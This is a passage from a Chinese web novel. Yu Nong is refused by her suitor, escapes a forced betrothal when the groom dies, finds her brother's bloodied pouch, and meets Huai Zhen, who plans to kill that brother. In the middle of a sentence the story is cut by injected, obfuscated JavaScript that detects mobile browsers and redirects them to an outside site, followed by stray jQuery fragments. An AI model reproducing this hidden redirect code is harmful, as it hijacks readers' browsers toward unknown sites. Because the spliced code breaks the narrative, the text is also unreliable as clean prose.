虞浓在灶房里坐了一整个上午,面前摊着一把没择完的菜。
虞进在里屋翻了个身,咳嗽了两声,似在强行压抑着,半晌又无声了。
王婶端着脸盆出来,随手就往院里一泼,又到灶房来打水,边打边碎碎念:“做人怎么能犟成这样,又不是铁打的,何况年纪也到了,生个病有什么大不了的,有人伺候还不高兴,我真是上辈子欠他的。”
边念着边到虞浓跟前咬耳朵:“你娘是不是很美啊!把汉子的心栓得死死的!我天天往他跟前凑,端茶倒水把他伺候得跟县太爷似的,他怎么就没点想法呢!”
虞浓没见过娘,只瞧到过小像,爹藏起来的宝贝,被她翻出来后藏得更深,自此再也未见着。
瞧过那一回,虞浓便信了哥哥的话,她长得确实像娘,越大越像。
要是娘还在世该有多好。
她如今连个能够说心里话的人都找不到。
虞浓心情欠佳,勉强扯了下唇:“我爹就那样,婶儿别在意,您这几日辛苦了,以后有事您就提,我能做到的必不会推辞。”
“别介,咱俩谁跟谁,我可是把你当亲女儿疼呢。”王婶笑眯了眼,懂得感恩的姑娘才是好姑娘。
虞浓把菜拢了拢塞簸箕里,解了围裙挂在门后,跟王婶又提点了两句,便打算出门。
王婶不赞同地喊住她:“强扭的瓜不甜,男人要是心里没你,你送上门都不会要的。”
以为虞浓还想去找隔壁柳先生,王婶实在为她着急。
然而这话落在虞浓耳中,更像是王婶在说她自己。
这位婶儿都快把这里当成自己家了。
虞浓笑了笑:“我不找他。”
王婶一愣:“那你找谁去?”
虞浓头也不回地摆摆手,留个悬念:“事要成了,您自然就知道了。”
方家布庄铺门半开着,虞浓推门而入,方璟正趴在柜台上打盹。
听见脚步声,他抬起头来,见到来人着实愣了一下,脸上的困意还没散尽就堆起了笑:“虞妹妹你怎么-”
“方少爷。”虞浓看着他,“你上回说想娶我,今儿我来问你一句,三日内你能不能来提亲?能,我就等你三日,不能就算了。”
方璟脸上的笑容僵了下,他搓了搓手,目光往铺子后院的方向瞥了一眼。
帘子后面安安静静的,他爹不在。
他收回目光看着虞浓,张了张嘴,话在嘴边滚了两圈才挤出来:“虞妹妹,我爹他前几日刚跟邻县一户人家定了亲事……”
他转了目光,不再看她,手搭在算盘珠子上,指尖拨了拨。
虞浓看着他这副模样,换了称呼:“方璟,你只说一句实话,你想不想娶我?”
方璟偏头又看向她,嘴唇动了动,苦笑了一声:“你要是早个十天半月来问,或许就不一样了。”
十里八乡的,谁敢抢县太爷的儿媳妇,怕不是嫌活得太长了。
虞浓点了点头。转身往外走,再未回头。
望着女子婀娜有致的身段,方璟眼里不无遗憾。
他不是一个人,身后有一大家子,虞浓再美再合他心意,他也不能拿命去娶。。
回到家,虞浓进了里屋。虞进靠在枕头上,脸色还是发白,睁开眼看了看她。
虞浓在炕边坐下,半天没说话。
“方家那边?”虞进先开了口。
“他爹定了别家的亲,爹,别想了。”
半晌,虞进沉沉地叹了一声,只道世态炎凉,困苦时方见人心。
窗外日头挪了一格,虞进看了一会儿,忽而说:“浓儿,你收拾收拾东西,去找你哥。”
虞浓抬眼看着他,哥哥现下都不知在何处,去哪找。
“要走,我们一起。”虞浓说。
“我一把老骨头了,怎么走,没得拖累你。”虞进不服老都不行,他如今下地走个几步都喘。
虞浓把她爹搁在被面上的手攥住:“爹,您别说了。我已经想明白了,方璟那边指望不上,别人更指望不上。这天底下能顾着我们的,只有我们自己,你要赶我走,我就去村口老槐树上吊,等他们来收。”
虞进瞪着女儿,颤了身子,最终什么都没说,把脸别向了里墙。
这晚,虞浓把家里细软收拾一通,该带的装进包袱里,该留的归拢到一处。
谁料次日天刚亮,院门外头就来了人。一左一右地站了好几个人,清一色的家丁打扮,抱胳膊靠墙根的,时不时往院里头扫。
虞浓关上房门,也关了窗。
虞进一阵唉声叹气,直道没天理了。
又一日,虞浓去井边打水,瞧见外头又多了个人。
那人拄着拐,走路深一下浅一下的。
虞浓认出他了,之前在山上碰见的猎户,还跟人聊了好一阵。
还没来得及开口招呼,就见家丁拦了上去,推了男人一把:“看什么看!走远点!这里不是你来的地方!”
陈良被推了个趔趄,差点摔了。好不容易站稳,他冲几个家丁嘿嘿一笑:“我就路过,看个热闹,放轻松,和气生财。”
“滚。”
陈良老老实实地拐走了,步子一瘸一拐的,转过身的瞬间,脸上的笑倏一下没了。
又过了两天,到了他们限定的最后期限,虞浓面色平静,把剪子磨利了藏在身上。
虞进亦是提了刀,身子骨才好了点,就想奔出去跟人拼命。
王婶这时跑进屋,上气不接下气:“老天爷总算是开了眼,那二公子,昨儿在东街上被疯马踩了,当场就没气了!”
虞进顿了下,随即大喜:“当真?”
“真的不能再真,没瞧见外头那几人急头白脸地跑了,主子都没了,还守个什么劲。”
虞浓把门窗一开,往外看了眼,还真没人了。
提着的心终于落回了原处。
虞进更是喜上眉梢:“就说我老虞家从未作过恶,不该有此报,看来老天爷还是开眼的。”
一通开怀过后,日子照过。
又一日,虞浓揣着簸箕进灶房。
王婶来得早,等在门口。见虞浓出来,把人叫住,从怀里摸出个物件:“我娘家人在山里砍柴捡到了这个,瞧着跟你给你哥绣的荷包有点像,你认认?”
虞浓接过来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17698817|208058||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,翻了翻,心头咯噔一紧。
靛蓝粗布,边角绣了圈缠枝纹,中间的“镜”字是她一针一线绣的,去年做好后托人带去京城。
荷包上染了大片深褐色痕迹,干了之后摸着硬硬的,虞浓看出这是干涸的血渍。
她翻过去看背面,系绳断了半截,断口参差不齐,像是被什么用力扯断的。
虞浓尾音细细地发颤,“在哪里找到的?”
王婶说悬崖边。
怀里捧着的簸箕颠了颠,豆子哗啦洒了半地。虞浓蹲下来,把洒了的豆子一粒粒捡回簸箕里,捡着捡着手停了,把脸埋进膝盖里,肩膀抖了又抖。
王婶蹲下来拍她的背,拍着拍着自己也掉了眼泪。
虞浓抬起头,满脸是泪,使劲抹了一把脸,把剩下的豆子拢进簸箕里,站起来的时候腿蹲麻了,晃了一下。
“先别告诉我爹,拜托了。”她眉目黯淡,音色嘶哑。
“晓得的。”王婶心情也沉重,“你也别多想,兴许只是伤了,没寻到人,就还有希望”。
王婶走后,虞浓又把荷包掏出来看了又看,盯着那摊暗色血渍,眼睛发涩。
她不能告诉爹,爹刚缓过一口气,受不住这个。
她把荷包重新揣好,快步去了驴棚。套驴车,往车板上铺了层干草,水囊和干粮装进布袋系在车辕上。
做完这些,虞浓进里屋跟虞进说:“爹,我去镇上买点药,你歇着,我尽量在晚饭前回来。”
没了那桩闹心的婚事,虞进心情大好,摆摆手叫她快去快回。
虞浓赶着驴车出了村,没有往镇上走,拐进了进山的路。
驴车在土路上颠着,她攥着缰绳的手心里全是汗。
到山口,路边站着个人,一袭青衫,墨发如瀑,长身挺拔,姿态高雅,格外打眼。
听见车轱辘声,男人转过头。
虞浓勒住了驴,攥着缰绳的手指紧了紧。
一个站路边一个坐车上,山风从两人之间穿过去,吹得她鬓角碎发拂到了脸上。
这回,怀祯先开了口:“你一人出行,不妥。”
最烦这样的人,不想娶她,又关心她。
这种施舍的关怀,她宁可不要。
但如今,虞浓急着找哥哥:“你在路上有没有碰见什么人?约莫这么高,左边眉尾有颗痣......”
虞浓边说边比划着,把自家哥哥显眼的特征一股脑地讲了出来。
多个人就多一份希望,这时候,虞浓也没心情计较自己的感情得失了。
找到哥哥,才是眼下最紧要的事。
怀祯一听,最后一点希冀算是彻底破灭。
他要杀的,真就是她哥哥。
她哥哥不肯放过的,也是他。
怀祯眸光沉沉地盯着女子:“碰见了又如何?”
“你要是碰见他,千万要留下他,如果他受了伤,请帮着找大夫医治,我一辈子都感谢你!今后也不再缠着你不再烦你了!”虞浓声音发紧,带着颤。
怀祯眼皮耷拉下来,瞥到手背上结痂的伤口,自嘲地呵了声,须臾,神色平静地道了声:“好。”